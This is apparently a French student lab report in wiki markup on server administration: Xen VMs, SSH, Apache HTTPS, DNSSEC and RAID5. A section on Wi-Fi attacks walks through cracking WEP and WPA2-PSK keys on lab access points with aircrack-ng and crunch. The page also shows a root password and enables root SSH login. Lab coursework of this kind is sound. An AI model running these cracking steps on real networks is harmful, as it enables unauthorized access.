On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
'''RAID5 , c'est quoi ? '''&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
'''Création des disques'''&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
On fait pointer le système de fichiers sur nos 3 disques. &lt;br /&gt;
&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
'''Mise à jour du fichier de config de la VM'''&lt;br /&gt;
&lt;br /&gt;
On met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
'''Utilisation de l'utilitaire mdadm pour la gestion du RAID5'''&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm. Cet utilitaire&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
'''Construction du volume RAID'''&lt;br /&gt;
&lt;br /&gt;
 # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
'''Démonisation du volume RAID'''&lt;br /&gt;
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage. &lt;br /&gt;
 # mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Formatage du volume RAID'''&lt;br /&gt;
Enfin, on formate le volume.&lt;br /&gt;
 # mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Informations sur notre RAID5'''&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée. &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Thu Nov 28 16:56:26 2019&lt;br /&gt;
     Raid Level : raid5&lt;br /&gt;
     Array Size : 2095104 (2046.00 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
    Update Time : Sun Dec  1 01:00:45 2019&lt;br /&gt;
          State : clean &lt;br /&gt;
 Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
 Failed Devices : 0&lt;br /&gt;
  Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)&lt;br /&gt;
           UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0&lt;br /&gt;
         Events : 23&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       19        0      active sync   /dev/xvdb3&lt;br /&gt;
       1     202       20        1      active sync   /dev/xvdb4&lt;br /&gt;
       3     202       21        2      active sync   /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Avec &lt;br /&gt;
 #fdisk -l &lt;br /&gt;
on voit nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go, ce qui est logique car seuls 2 tiers de l'espace disponible seront utilisés pour le stockage. Le tiers restant est destiné à la parité.&lt;br /&gt;
 Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors&lt;br /&gt;
